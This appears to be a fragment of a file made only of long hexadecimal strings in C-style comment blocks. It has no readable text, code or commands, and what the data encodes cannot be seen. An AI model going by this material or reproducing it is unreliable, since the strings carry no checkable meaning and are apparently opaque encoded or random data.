97d06d9df0b26f7487446a5609e6e51b8bf1eaf1ece0df6e72e17a45b94bb24f739429dacc3bf0c9f7b531b4d9ec96d3838960f584d7962caf93b43e755d5543034afd87f98867b4dba4bee826af3f36a2797031faadb1f487ed07a9a9204b1df3e85c22185a749f6285a1b52d8bb1d417a2ba1fa97079d5022bd1e1b2f72a86c7dde46efe422e7278b8af29a6d8225a0bb8b2dc4e5ee75e68a5f3d832a534ab91e854f347fc431f0dbdd27532b5e104e02dc2151ea21a2549d513f89289ccc7d0a02130c325dc5df21dc5c73e09e9816a836028dfe4254a418db0f084e6ddfb368375a5c139810d638b68c90cf533b752ff3c11cdc419e391feb4508b399112ad3270cc134a280de494f1c81fb77b7b073fbcefc5a006c2f60c7e20987b06c14671e1d097887572eb926af5cb74fa6a4c34df0ca4af17fb972697c040a6e6102ea7cf22fcc003992021323ee48f1397eafe8fd11ef784f7e91fa4ea28750d66a28d35d044559e81e65194e018b562b3abafc19dc7381158c6e9a6d6a2f3dedc91be66dc1dfa860ccad3d114f99f42d813873fa83a60003225e51d2e3d5eed9e1c202c743cf4753ddf2a5269d03cb0845f961bc5224163c223c9390e05102b43e5654249c9f4c93b0c42a7ea11bb7f09adbc821b5a9a40bdcc0bf8fde45cb9947719ef9f3365b8561a9003528990c0cbdf8aaffaef1b20ab4f0d970165565fca1b81cb604444b795c43cb57c8e4a67a83db264eef591603a1280b1176450576608a867c724b28b99a216591e7b4ee232b173d93f86fd9773a324cbf5a9acfdf9ee6ccb630fb3f148697c9ede8e13b02e4ca2ee43a5e2030c4f56ec79125485cba23164a7e571b7b510886799790da8c7180b37a46ae9cdea5beb3328445ca7b5aa0aa86ecc73111a9408395b3fa19350b43f69cea670c3a05e662d813c6a531e4c1f57dbcb0ec84a1b3abd41108633d3b56ce4473ba045c99c34b488847880bbf768c18d64f63f9a525be6ec2641593e86408f09774ad8933e2947c3b28caa3dfae21147b00e4b4a8312a2b3dd5e869b5954f343380ae85292edfdc1efc8c77cdd60ab5b9e121483633ed5d5442a56c9c9786de522a48b4f1e5f30e698bea9321f91b2a9a53684a5e66f90c634a6ad33e1362278bd0947240b2c2dc16c5b6453a3f2d40e1fd00e2173eb798143ce6809609a7b1e85d0f8972ce27fe29235a8ae0ae4f8302c4ffe32a7ab16425a31250d91e8b0a0bb1f452f6070d1af0564dbd16cdb7e650c8ecffb04027e9a80393ea7ed1777b3e0c93dc9bc436e70a63c1e44676e5bcf05340797cc1a0ad4f3aa842551b91b0f54f490c33a171eb5815c578280d5ae6333b15f6fa37f7be36b9ff29ff18ddaaf5478d5063ec21571fa6a97524641d7a9fef5ef947490856d184b5368a95f706d72ca9ee4da863dcce8256c9f94f59b3f82371b46c041f6bfde581ababc13a8f66cc46ee0668daab605b398c20c3cd6fa4ff7256fcf8adecaa635786ccc9d78ecdd2219c4bc6ddd638c8c705270ecb810c068ef8acbc056da9b1fada109955f3dcd48c9feb34f8034c9dfad65cb5948b4b8195f052bc88be4659ca7aec51410130663bde687451e719e6f3f81a556fe154a3ba3ebd7f25fc603d7c91a9d5984206e89380c02ef9167fdfe7f438ec289272fc508504120ccc9ecbc2d66a14fedfea2007e422dc880dffff21914b364e499d1349a33b3e680de42be0436d120f02778dd7f6af8a7653294a2da624152644107a01266f12016ea7614e56176b0fafd139f4ba438861ae20e39e51276b9491dc50f7afb303ce120a9e903ae1985b6dd6efe86a2e0b416bec229cab9aeb0c887d3085c0a21774b0c2221e38816856055b69e57c1b1bf81d5b027e73e00de4dc7eb4b4f98c*/
/*e65667ac81c99e2f0974419623e687ec171db92831af705be8fc94661751cbc18b35f6974c00661a9c4a46bd8ea5bbe5ce9259ab47303377c332b9c022265022cb1fc74e54cec2abf1fcd7bb563d0f74688033ad879785088f68236ba59fb13786cf69be5b629eadbec73f3c78e134f6d82072099cb65f6823b224202b776e9c60385dc1560976a6e0d33d40f0f051618d1e7569f7f91bf00759ab41afb6b8acb56a173b7f82ff155fda2a3751f0a6995a09f568fca077c0554510b03ae4b0116d17d7ea5abc04e50597e70cdf81b30220717b9cf391e1b9f57d0164ebe38f1b2cb9bf7500d29dac170a4c6b19301e3a8cf2f1fbbc22c5cf5c3df3dda7e464ffc3da968bcc89a98d591b2ff0d16b8738284418be3fb1c0db2ce99faa5b38d38c06de3b3352f8e37b5a9f75dfec6a28128d9e26168d7ac4ba678b0e12e24f4817fe8bd3dace49db4fd4ab8aa6f7b40a18c83590bf28e8fd7d753bdbeccd31ccf570dde2556963f632b28220e5111e495f2ee9f2ec8322f17d801fb3c55693323f8cd5b9a07db0a98cf0fc921298a57ba9760c1d4f4ac5a170152dff2d5165a12599509a3e83fd18e128a055c4af1c1eece23f1ed8fe46cdd51ce70e96451ff7f93e4ed9b2ab4016469c9ece091ec2b797a088dc43621f94d0d56b85a06eb534d2260408f2334a447c0a6f2a27e7d4aa21555eea9ee03edb1cce8b7007c2cd55b1926f2c327f999518fd0200456ce517d9f423cd2507f907ca120faef03b9819e58afe9b5fa6df39fb5b5ba1b7303c4c6fdf0d63b6d1a5ea4eb0ea7ef897621919b3628312df64f38ac1c6682a24d3977558f44f5cd001e018434061a5608573fcf07684903f4a489fa636ce0ad62233d3aae14f3cb19bfb7fc570565c55241712e4086f6588cdf47f685a4a8b2630984b577656314035486d1e15da6ae375a655e9b8bce912f26c6c2bcaf3fd34a5c2f48925008bead47421431adde10854feb1b12417971ee8e8fb0becec408358ced30e9af439e7d18610f857fb1f38a7a9ec99d704e96ba09bac7ab3246137f0947bb24414a4cad3d5b4aa47791ccbf7f96da6b665d528c187e40b19611631ba1f329c4a8d82e6d0ae54657895afe08dbd8329b6fc17ca203a6a22390903284d4608b869e3912945639c4473dfe8caeb75ac51433ef185a70a7f3f710c37309d28cbed643d5bedd4d97ad6f7f9650a648a42c511dcf06fa39d11a2a7685e54898582199b50d4f6771e1c6b1ffc9d717c4432e032a205ffd14fbcf47c738cc067f85ed53cc66c4e5ca8c34c5e0c5b8bc2cc9df5889cb1a401cd364494bc275cea8ea34877b957a826b03e7d5081a593b0861e415474a78bafe8aade8aa98a3f4ac09e5907d5c54f4436b9fa360e2040ba2ef4e53c5ade35931472d33ab3e6c21cfc5a5d0386f0ba8dbc50dc98abebb5e0338bd9d4428506b78c50a5036c444f1ce6e7260cbd11dbf0da9a612748c52961f2f5b1748dc0df9412f5dbc1e5ebbe0a9bcb1e7140d81630a094fcff11a304af5850b24e38f499a03c3939f7b6fff7a9a4cbe1eebc768fa87b8b390fd9d4832a5439a25b08fa125cd3036da84d5c102026182bdbada23e0a4a6137ae75bb743207028c1db40ee4acca1813fe12e19aff20033f094f8b10858a5bab0d1ef153266a58c55434d288890268724a0247af28439752ba3f42d6a12de93cd8ef4e9486c037581f9059d3b0addc368b13087d9d4ffd5a3900fab3d3dcfff463a4f2e21081c760124489c2992c22035d5f0d9b730b02af1176c54d762aff84967629fc18e3f57f6f3fa9d4799ea64869e14a07fcde4103bdbee8e7b1de610218f894a51ef5cf699cc1fcac1a51fc3db2a2323f1629bc9c726324b0f098196fa0ea94ebf593cdba9e28fc3e2ba51e81951da2dba7ee6aafcdc8dcca43c768f8da948257badad4c25508cb9c4735fdce64165835aa35ddc78e21d81a401e60bf89cf95faaf1e4b69761e1c00fa2cb1d80837c39e2b411dc1d67d1aa1931c99e3544db6585a404cc17cc31bff4c80e21a9988c4039e786941a390b8205e9862f851540790079d841af10e04abfef4fc9fea053f7f9044661c7f4bdcdf726204dda3e68b83657796487a0f68e91d1df1e0ed620692ce7863b347ab986a1466afb4954636ded8a1498e62e0c75924ae8a135fe16323547652a9586afcf9295c2b5de749128203f4ad858ad3d5ca7c1624079ad890872d55fcc45c0bd3c32c927ed3c81f988add3a808b54d1002952c6d9900b92f261ffc62d8ca8d3c17d7bbc27f8f6871f2c605d496d90b0d35dbef607cf3874caa38dd69883e2da6b117e32316d652c75ebc3d35484a82ebc4ce459f4d2b852e298ade801321176a74c5e8188f87cfed9fbe3cd5558518ec55f27b0c40aefcc618c325a96064b2fdc34794b51e25cdf1165fa06322d28ebac55d432427de62bed0dace04f95f2d0579d11ae7a8f8da9b879b62195e781799a52b9d7838441bf373d2ca5a48e985c38613d4e7428bb6451a53a03d20463f22b5f124a09bc93a94ea3e8390a6960d7b954ae9b9fdf06f74d2d55e74dfafd73fd017237ece62ead05c0ef26af225567cacd8a83591263656393f4fb40dbba94f46e4bb550756b298cf31f38466ae0d8fc810a9492844779af7f26cdc5b3521aa4aedf49c1f5cd4d508f106da9bc3708702e8200e76f39f996f9bfbd44d6fccc91d13d2bc6de9428a9fb622bbc613d8711f34976bf55e973cb9cf9f6f38ca1979b4a10473f25f87788298e2549c212ab5a97eea187befa710e4df0a9136c967cb0f75a5ff0e811e67dfea0daae*/
/*cdb2c9b50b304392971ee1373ad9a69acdbc13f20ffa6d8f6d43bbd208e8bc5803cfeaa0351eb08eecbafb29613dfa907351599c31537e05d5168ee99188046ed44b5ac9beaef903885c6f6a6e604d4cb47b4deaf006ff3dc3a919ba294f69e4eb6e0f6a4248ded52b6de317dc732314a57fcdbcd39ce49d86f43adba9ff2be9325a1602c1db31a5f0dd225602d2e2af11cba3660482e7ee56a3bd2095457b48c2af0d7a892f856c84f6b902560be9fde22e4ce9a4b0b7016522ebabe6f5f5b778252e7a5ba2a47988306a98422645f73fbd42f7b50b1e60d978e2f53abe4a47c5d7847f80c88900b0302682832e4b78783254b93b1dc2319091715e87ae2a74909373de57ac2cfdab8906d46aa8de7d729384ab8de33e95e665e35d20e5de975a53df302aa52d5b389396cb2d394d2a047b5cc85010efb1041a3e0ec62dab5681b3e16e196af68121d861597cb046dbef2dbaf4c642fa3d7afc6e1621deabbb3355f79c8da257121398944a3b930b5917c5a0a5d6005a0c1bd7b653ce871d8d9766f7f83f692f3656640d7f732d7081b4156b7106c78c5490a3511f7d70889403cf8a633e85ac01e5f9a05a898739e7f6be5c2c8131823466f0499242a8ed20f6403354aa6caf0936f5d589fe312a9b13940fa337d317326306b6783ff7fd679c398985bd7a536e0faf099be6c31b1cdd4856513f88b601f2b126fd5a7059d021314cebab2e3b1aea9cbcdbb761c8043b3f1073955f8e5f3e6c8172d8e995788f1849237d4628c55c07a5d190e05dcd0fa3c991c009c01303e6bc35445b44a1b356a73acfda34b2e6d6a0863a63462e253708bf292d87559b3442f8fd4cabf34f5041bd5773dcc2b84fc4ea675bcb41a6363c389a365731acd7d207f6017c21240db877982f764d1da218d631cb05924a6145ec682b66c29e4372c1d5ff5e0b5e62f103d65c831222beba2cf7dd5b112af7898bb8741aed9f9b56331c4b6fb7b7dc71d208fed58275084a95329729609fcde69e6acbf4de890afd4bc16d462105f4ed222438508e5f67e62d0f0930e7c3f901979106f2f35861a7969d96ba171f7d8d395760f172a6af5dfaeb81f12099af7042bce835d87fef9c63ba1e3e629e51ded04c9ef2ce1e04fccf279c4e544f5d290685aca457df499edea8ffc64d8a519df54d07f40bc540d16fc3002ce5414c358e4a3181f93aef25e77c8cc4c1fe5e199b66b7f294cd921a9d61e9283193cbd8493b3052b4c6796952ac119dc2def143b6f7e002134d1f79d3d4cd64f5b6bf99652f2aac4cf108bfe65d84d8a57aa3e2b7d110a92a0597340872f2d05f070cfbcaf95f4afc0a39b3f09eeef0a6ad4b45f6bc385153ccc7fbe62b0d06ec4bf42d9fd2d37a41518661e59d61d9d0b3e3c9c18bbf536c2f7af79e68ad05fff17c37fc09191c7675e536763f657d30613045fefc174ae412eaf5f9bbb91b491d1faf6023316a8e2c47197b48a6650189a1f4c557aa2db2090a84b214f1fe6c30a81007adee71ec59d4e9d94b3dc8f8dbaf4a7b13815bea4c7f10ca533772263d5bd4470467b4b6b6ba8a8e649c4fb562f7c3c7e2dd0fb2369cf0ee5733ecad38fcefbf4bdfe217bc54e7a7a7a3a279d607f20e94867de861e2c9fbe6614d509093662803f0f2282e22e50888e263f609c0dfc75a32230c8eafbbf6d34c7036a5c709c6a2d854f9bd250c544686d63a7b422c7970e257906e86b674df5b7f51ee096040c763700d88e7daadd7e50f28e9ce3eb347321699f54a10aecec987bf704bb4397ea40d49f9b98f414d71db0e930debbe05b86030709c4f123891abd5543046ea151b583004efb381d3236eea97471894174bd346cc01aa2c17426490326a2b5a050560299cdfd2a0425b4ff2b385ad4db36d1d932774e3aaf78c23a304553b7f7c50223b10d7beaf7f09167608a3f18db045d0fdc7e475de5328c02f5d8b03fb63b778cb274f439c55c662c9c23a0f39a6e224123df8b28277421b3e9dc6884373310dd116416c15d88cbeb3c221a9ee145658b333231c87b6a1932a8c60788a09186264e20e9c3c733df9280aefe861cddea35504d8c2ebc3fe181568ce7deff3e747e78133a85b5f6b26b0adde626972da89de9beebf45cc5ea4f525ac89bd0869c4206b13ad896c5871fdc3cb72aa5dec3d68c67fe810a52cb5b055dfed6532d5997f0feb274c648e7253f7b2473a13f98d7fc9a1fdfcd074ff21b3f97be6328dc087f737164beabfee27ca440cc31d60c89c261cf342cf11b5fcfffba5836ecbedf20a2dbb2b8d5bab0055867dc4b6bc4d6d93a998faf9c241011b23fdeebe45bc326d7acdc1c07d64dd83ee08cfbce7922ac3aec3e09ef835a33dd08160f3c74e543771d41549ab458f91c1cfeb87b2d2f69563eba5a1fae980bc96d69e4a9653fd0bd82f01d374071cca19c1f228c8b76944208952b7eb3896d11a5ac296421ceaaba8263e21bf43c57b6c6cd5974b9f13d48c824ab9f36e7e8a6ca19468cd5442bd6de75345a2ac206d8a5629aaeada4f4e7e4cd3ce476da65cfb1de55ea33b1136d3605eff1e96451d6954901dfe24ff2c939082d719244c6fc066e8d36ee8f59fe717a1b8f6e8d7f5dd7b3b2e42f369ecaf7364262fbbb1da27fb36ded60809b8c8306f4c5b7ffb86d4b192e53c033b61010ad036ad1becc8e5970ccf33b16067c6ae1a501d7d0a5dcdda10a3af46942cd5fe11319508d306bbe14e078082f4557033a5d3cf174795b3ced20feeb59646e4afeb9206d33c147bc40b1882b365398e29e7e2b946e3390d2ab46b81234fe0124ac3b49b482b*/
/*1a7c3d39eb2a6ad73432f1c159d8008b0a3a69b72d65d71ca1b92e2a6d70a25be1be4d3196d9013723973b4b3542513d6dc4be580eca414cb0cafae649190041547fee82067f4550d9eaed462d14b46a2b681c2ee09667f57bccd1874502fbc0a0a91ff62c5eec4ea3ef4504ad4307d31fd3022e415c6a716903717c4ffefb7441b634861b67cb0ef0b3e5d4ed354e94fa0de863c63de88972e2bb691c4b1beec4b5713fc599803c1a7955be2bb5b0a97d97f96ce098fc51324d08f5c7d528684055a0535f8e31b420243d363f32b54bde4576bf33df5c2846d21c541fbe8509dde0071dd07495b913b099408f6d0748d00e8e0528e3546dbdc190bda8994da3ddb785e8ae3850268f20a5c3e0e32859d4b9558f5a4645b6148eed12fba2e3450e6970924f2a437a9f9677b550f6e1d87cdaaa7952a5b0c6dbef9b90a39a6104aa31c1ac97cc60deb5ab33ba90a2dba4a10d8f810cf8face172ecc9c6c8f934f658761877d4542d1d044f1fe9e52ab5d3631a9a37cdeb7294418f23cac0c052b1b12caa2316912d2c1d0503077dc1d2f8c9b5c1cd19c4070da775518ba1fb266ad0cb5b1a996458f8688544a47039b930ab384d3ea2326c0ff3747baad0015cdc197ee437f3c2ed08a05670b806e7ee938f29a6f8b9e4dc483af9eb8c50fcd7c2537e081a14453373857613b5813f4827e2bd7dfcc694f30a105eb197c2de8e1b318f8f34b6b950714368380d78e33f40c0d9b788ec07bc29602becb6f92b28f71583b72675934491a91d40358a1278a6f7ab9beb3636ded3249ce7bc19034440232b2a085bc2f080d6e810be3895c696de73b46f5a6ee2fc3d3bb25c6290c810d614f145da77c79bc364677ae69a18904d3c1e10cea44dad401d6650661e47bc0fe29062a37d236ac9980766ac846dc500a47aaae770c3d3456fba0b13f3efa7da83eec84d8244505ad10e313fac40d4475de011eb0f4e09b113665c18a9997288884b82b9646221233e7cd739abc827a99d8114cfc2c4ec307b58736d9982c85c7c19ecf1d0fbee0ee6d6f022d75c3af8c3901c7113abcff46113bc6ab7d0af9d5e0f440233d3ae4408d83e861e9bcb05d3492c60cf230447ec097c05c16b2fee3baab6e3fb8f26a2545b561cf5f67cd91c421a4dcbb999830ed85d9865c6231799936a8c00a2a06f81ab4d957533d2bb6df60abb0db600fee455d94809fea62077c01a6f3fe3e11697c96f2ef70db7158b0439c4824a348ebd11e5cbebeca516d89c81393516c67dd8993a7737007e5574019fb40386be54ac06d5f66ef23c765cf4b41bde35a5394b789b13ca3defc54d5764a3b2e74df9d94e8a9f71d6d08572f2d60414b3181656d138636f2aff0470acb4dee6ee37f2f16fafa71462dea6dceb6a6227a18330dc4dc39e326b32b5ad343ac8d5f4a0000a3d835c7e58405be15128a46b81e66b09fcc52616138619ed188fcda59573fc81b745691df8892b8335c77020104f06128670f145e5a5b8b6135bf3e829c5e4a68f39dae050cd66ae219a045142164982fdcfc0e891d9ce726ec43f5ac8356dfe753095c726b60406f105080e4bcd3ce7c9cc3e296e08629628f20d3b74c23fc48b3762575c80178404fef695509935330a3e9784a2722997812f078328c61aea84999c61f3c8598a18edadf25088b5c15a2739128753f0012169eea02844285452856f82fb5d52032a264496a967ae9a1df174cf9787e785c2dfb3c88928f4fe9f6a1dbd6fc0c886ffe3941cb7195585a49c88d9f43afbb8c357bcfa26346be55005c5beacbfcc44e7d5016ce12d7732c919275d1120b9db9122a537b822334be92380ab2d08ef2917c1314d282db3ed2722dded47b63437b41fa47621be8947e5c640243bb60ff70b7d125b22d8c88690a6e79002cf31d8ace499051ad64838453a69f3119e5ef28a09682266e517ae4cb47479416b97132aaba97114ae976e283a09f1998578e5cac6e3c6e10a4958c89a9f40cd0f84e5dd069f29a6fec62c220ba80379aaf9ceddd5451cb85fd646d4bfcaba1fbbc1f6c2e18a0dc9980fe7bd473847caec250049ceec80246ebd94ca86e4cbe358a5d2a8a8151f33e0bb6248fb3dc5045fefe434fe50da49cdc9b58436beed0577fd98577fadd4fb4203f5e16469b1b53747c36a9b93cc2731ab5bf6239e4ea2a09d336b518cdc62841c3be5880c136485514fca478eef307f7c41769c7458eb252417ca3ceafc466cebbcb44c62416630a033b613e93e64f71bb77f92af99b8b21196deafd79ac49cd41f7c6df30314a7f679e37ab3382af9ad6283901102e61aa4090f9c16eff23e1f2cdba242ffdfa5102049e655f5d35634cc2aa8a91c27a0e73a5e1bef07208a114e6192ebb077d667a271217aae1fbdeffd7507c8870fd06efd304259e7f53b68126ba5fabeba19e0fae720caf07312192bf4640ce1b36c33ee381f7d17ee1872ae23047e140abb765ecfc5081e5472e0945851ca881e9cc8354499468f063c26f57fd188d4846566296f7bc24fead335769b09871828d07b37671d1c455e8e1ad6e8c710b228762ea80a4c3323ea04655659d337fc2850800328269514b15d751200d3aaf1b4505effa836953e002f361875037563c90b6dad7542ec14ed304ef0efde26b1c6b9783330fc4897a446ba8ed80e4ee2bc049eb391b7a123fcfcdcece1ee507a66023bcd568c44c3752238ec0ab7ab7487847ebe2c9928bfcccdcefdfe4f6a611ff63c0dcc31bea8ba8ac12a1714cc5d22c22bf814787dbc6ed43fc235d8315ca1b6a65ed1dce653e7c4636c1b73f0b68e2*/
/*8fdec6646f37459f7592fca5a13bfb0e43224ec06d3953019cadb6edf467e1cad11aad4f06602e2c0b8302837c686ca37f2042bbac35c77f2856a869dc35b699b46ca760b809f99fd2f67ee6748c8699f1cda3b75de97f6c55afd3e59d77e203a92a813919fd18946c61f3c1f60d30692e7965548c416a55787e7e89c771b1b2567a50b7adb364914b52e238949da81ca7b05e1dbbf4c6c5bd3817ecb33ab084f779b96649e48f3ec189fcf1f77fc3f485289abc9bf7dbe37583a1b99eb0b08b7018c39d99696d2117b26dff5ffd95977df401b08e0eff6314b66c8ceb3440750bb55175fc0d1e27149e3503a41e0e0d0b4c9d78738a565f3cc02b76568960339878099aecc276176251d8c3a681a36012b6c95593d538e2a84838a0568a22999caf07f93dffca0cbf65c958a100f650773a9e208c8db86bf6b198391b81bee1bc6a497de997910f204d83e86aa3cc3b526c7988b17eec571c1c59a1d3854822ed9980be1705330aa91c872275290085a78a217d0872b123368d0eeac11c9591bb983fca545a0477b59e0b74cd6dbf670bec1af39b5fcdc26dbbc4507cad489608b19f81ad8dbe2e0c7c1166cfd142192e3d66f4e07d62062194da3a0a5e6e3660fc29fa609dc446d575b1b7d6e708a64abd6e8b44002748f5ae5b0820f8fcf045a2dc647ec04d912bb64f1b0d7edc137e6fb2737ffc280720ff0a2876d8569a0da11f831f9a3acd15874749bd9cb7087031d806ecf3d960f74b90d426d32dcf813ccfbac32eb8b1ddd30294694cb0edb986f2335e33a82fddac3bb1d34d8d54b8d7d83be31f36ade57bf5d81dee57b9001f5a716fd8f6e3675c0a7daa88bc8f1930ac2c77b94f79a235146b1ae293d9d249e7c229c157f8c9a8fd482e584d004924b16685d6f452d7c175e201095e542474145903901a2cce29ec994cab88917a99f8e6f8c11179a45aef98302eced4100bd1c9358e9fde44ec57412b936df4aaca5c78ee40360045c7006b2b1440cbbc6dbd55cd26cec433617499aa0de3df99a7eae6b76f093583a980a4dcecbdd3a76435bddaf1b2af7b4648f9102a300ae5f42fd134976365daa258da7a4a92c33d4d91ac757b2c6303e8dfc0fa3628a1aa70b9ba5cbf8da4080088df914df44455f6b9e96336eb57e3e6593b8354879fec0665f23d31a2c08c68b8120ddded2e1dc0767efdc2a32ccf352cd4c86cd5e987f01fb2ea95849f295ca0cd7beca6742fadf139a5c2d2795e359cb1968d123f17f4588809bfc16960d7594b1f6784717f961ac72d9e0c8c17081f35114939c8d615938c593dd74aa3314fc533a6db57e84b4f4b39c497725cfedfd9f656e2bd2d1e79f915c9fb6619d7a4324abfaa0cbc5be658365bec47c1c9415f62b3b89793bb675666c000b7b4eebd4bd4ddf10ea947d2fded629b2577cc2e76049ebdc809039b47806bf109edc89b9d1536694bd11f03deac6bf70143a1c67aab27e80580627a37e17209c725e88080cb00ca2a0d8b7db48f0bdee8211f6b7328a8c159a9c71615edcefb290853291901588eb3007c625d93eaf29d6421cf29d5fea91097d91503c17858967dfb7469aa7fbe82f2d679b6bf74c15038b5a8038f9de9eee7331bc96606ee23166ddabd44eb9739504434749cc6e3daa304b53cb89893ab391781cc9314d8ceb0196da69e5ac31f10a172b86c62e23ed8a5574fbf5d9085bd477dc85fa4e90954a3fc78dcc06a7c70733eff181714ed57e6cebfec6176c52da70c80700239a36d261ac7628080380c874c5e807cc728f306ca0ae20dcbd35f903cd5d9f584114c6a30f0f597770b9ca8a43ba115a4e3063f459a329b3469ec09fa2329a94737f278d44c2180bdaf620cf8b9e255ef7de46b64ba122804982deb1bd6d153bcc0abf53a533853e3ba043dbcd0f50d61b49049491042438bed1ec25414b247f9654a9476165d599319d0e633720969a8387a01447d1aff67f888341af3dc3744eff066642573aaf2670bdc7d9838423e0ecf38e0ade573d711e23013c864af066105b166ac1a158ba0d6ffb87d477d6799bc795d036bf56a9167e2c15fd472b30b2eef137a1c1c995ee1537639654240a3083df1203523c59d8aa4f29ab24aa54353ee9506d03b414876b80d72a10c4f90eac4f2b00278ce7c8141fcc419d838aa8af5ec345f6fd76cb9183749ebf625a6fdf7441a999878c19059bf0057481ab2a5ded14969fa33a4de607c3483d6182f0d375877bd9749b9328afb583ae4b30038546255e70969d7a6b8ab22f4bafe69613cfd123dea2427c9c029312aa0e339978798cc509f13bca8d0676525371ee017f18951d40990aa9df412155fab3e4971bbe9aa6f59b1723ec5d25a46685f16f971e7f6f28380bc1258e1f0d675711d19c56fea334a00204130da84e8073a8ec913f30d1fd0a407560c45f95b7e56394651831f83d134da86dfc3adb73dab847d2d5cab97240c6626f66762e8096bec5e55f317ddee3a0274a333fba77223658dab70918d6ad822718e532fd9a985fd121528a43cb7dd98ad43e71b3dd131bb71b233e2958473eb24ca8893c576e894b5fd1d41df7e6e69a7f6ee7681aef0a3345ce9224a81267787d8d6eef525ae6018334185a5fc8a867ee27eb7db8e0cffeddd9dfc3114ffd1fcb5c0304973f7e7c26ea2eb405376237214992374a427ad3148df39d6e38aba187458faebb4ac27202a1473cff2382fe19293ffa1126cfc497c1a1bb4d5e519ccd205896ce2da9c7832d2cc85d8689c4c2ba7d5e4e1bc4ad2799fb247c8c49ed0404580d342ba342789546c2ca15e21*/
/*aafd2641963895807e8c7bb556b43fb9ae0196a8a7c7e0156923e6d70c8230333f0569a6e0c3a7785edb9cc76726203e869ac40714b4f4b555bd7b4f88d680a0ef16c31b495288ad60208a80233b9c47ce6a0983444167bd5f35332661efb122b674ace80156fd4e72354463e17d4327b68753ee222ead59742ba660edfde5be1faa68fa33a09e7f1d333c330d54fe76d6d436f5b9424ae813380535c3dbc50840a3995eb7d4d857939427d80fdc343d204e0f30d281733327c22f983461e0f0a1fc88a1a03fed89e650f657ba2adf84e7ebb44be93ae6d6f87b782e7c291247fb903636c557991e8aac3a664ed69c0fd60702e77aa4805e666dffe755c970cc194adf490b25b8188976ccfa909999208515ea7fc493278bd9c25603c4243fc91ef9ba7d7e09fce6c10ef703386d694fc1393dbf79c31f3c84a32bf00d26a5e7a4b066a90efb13fb25328dc6f79b55119d4a6d0753c3a5f7eb9654d185bf47c19102d6aa034c37bdf2978dfbc2add0b9b62546ef695487d5ce6cae4993ca0eed5f6ae813b1321c20485eccebf54cee0c618afd2ca05af6ce42201d7b12a0e9f3cd63e9e7f7862a9d66dad3618c519933da356e698c60378309a46efd1452be0264d297f6ba6b42538f1e02b52a5211672308a6c7cd39450226d5476088ca1dd87bb605e0675f431352087540d288295fc9c4d074d001df311ee696bfeeff9a02b81d776ae3aea48200b441d05eac9d876b9a757c63e870d3702e2862103ab8ac3f1e803da5aa173e4d026b2f594133186d91de490177256395229e5be2bb0dfe5dc340f3f0e101518996dd9537460becbf90adadceabd803ec316d607b42fe494666d312442cb3ac0e08c27a9bb534674bb62433bcc6f377931d2268d4c4c3d5b7fc7996e4b713fc508a1b11fff96b92a9d8158c445d1a87279546253ccbc9dead0250f29753c77bf3706d02d25b42ec3eeb11caa0e7e8135629dcfcd1cec45f9ef7f4c76c28482f7fe75e194d4006846b9f003b0fafd80b351f4b46eb0b394ad1ccede9dbf7c92b8bb4fe7cd25d2de85fbf4efab2c9c7eb0fe01aacccc9b4d70a63fbf3491ab04879ea1e2cf7e3779dbfb2283cd14f4a00488f3f6ef33508ab7cd02b95ff5bcbd8401e1a1df793c3762b3a9dfbf6e2f1108b45ee1d9441e6f0983b114ee0caf6b5e01b56646391bc5705b10059224c0371507fa82bbdd0ada62d3e165fe9e61e13a125e0f54d9b21de45c07757ed0a7deabecf96adb18a0a2b36df4b1b7f5791d7d65622047872005cb312b12c7300bd014773b35e4f19a96e8322ea418f5a6b590184a187394544dc2cb074e0a754fde8fe5195ca37535b5094a530eab68c08a697ab22c2e6683ec2c7652c1abd25c106550d7a9fbe785b54ddfee091fa33e346d9e8591f4e5a5bd9d625da8a4b501f15acd49c24725b079a68d48f2a4af1de6d13a9b85e99e7a058b4384724e890a3d435ebd0055e55a2d134444577b9d56a5c475cbc71751a172007c0c87c5c7ea3639034bbbb17908e2efe69ad8d81608e5ac656e1b7d1aadc4235367ad56e3ae8c80ac1eeae87d31d89523ca6ba3492d40ad1d88c635328cffc4e8ce29433df06e3146f4ecc6693363e7aaae9d17375eec7b67dac24d600d6c243039dbd44a6525587708efbe43dd9638807e45e52f021c90790d85f2683f6e08eed3b6e1b9b66143e86c8751231fc4b4970ab314c7072aedb41b7df8fb79bc99683e11638c55283cc317ed94c305f01c8c476625ce35072fbeb575a6e04836cd07f51301762bd1a57bd66a231066fa1bb109378667dbe08357c7ed3d0a45188365056ec31db82c26e2bf17656f1be625a6323c970ac436cc501912f7eff0e95a5239bd16a0ad576acc60b78b208c77582b856723accf4dd4a89ab08b5ecb26213a96e5a5b1cefa25ac6c316d00d9840672837dae21184c7345fe5913bacdeef62916d49844caf157981f46c7c45439b4164fb8832d646e485b56fbeaf93abe9d58f8cc39ed038385ac11a8233e4f0cbaa3c5aa7954bc14d0cb049b909a26ad109e4acd2b79498b8d52c2bb6e91e2d2067afd3359ceab28abb19c68ff7d2f5f20b6f144a6d8309af1139f1398ea26197663ed43c9570f988fbf2bee5abf8c0661fd608a0e0d43c470f683942cab899957143bb0d02c5c834a59559b3009fcd955e104e1fdfcb501cbaf55d1b27024accef00e9826c966fc7dd5fc6791e59e7a718c8867bdd385e874b4812fffca84f931338c0c64a0e1579e9e1afe52a4e73ba097a0d396e0488e58f041561bafa18949671a6b2c8193a4e7c2524b444064e07734d0e068173f1dfa8e9ea26ec1be6743a84b66d73a3283b8d9646a9c657a2a9e6b1b119096fdd01e53181955bb622b31664eb18772c9aff53bdbed53d6f29a870165fa164f9e94941af0a0f17631f9ee688724e4c88dabb7656e3ac95d14a581dd8d48b4fddf1cba591494598f2a8532504050f66fad7748f33f3da869ce59e336e2d82928f4bfe34aac0c9fb3a005c146a99c6cf476bdaab13ff0af8927ae654ae70a71fb5c9be70751dfefa01bb6d586ce63e0e373008a3715f718bf72cd5abd75fbb0afbb36b680c685c5c0bf93f2d92ee65ef8b1ac88d2f67bbe489fc9d9de8ccff00b7b4220d627f87cb156558a3fc6525ecc1d776a651682c186fe3117d545535e5b98e641aba8268a4d0c1a5c4da2f767120e37ed5672f893b20c9f826dc3ae1731449acfff44a259629f95e2ac95ce57be0f89c2d305ff871ace9caaf43300d50227c93a221abf70ea6efeab6904e083188317cb10acf41c7e4d09e*/
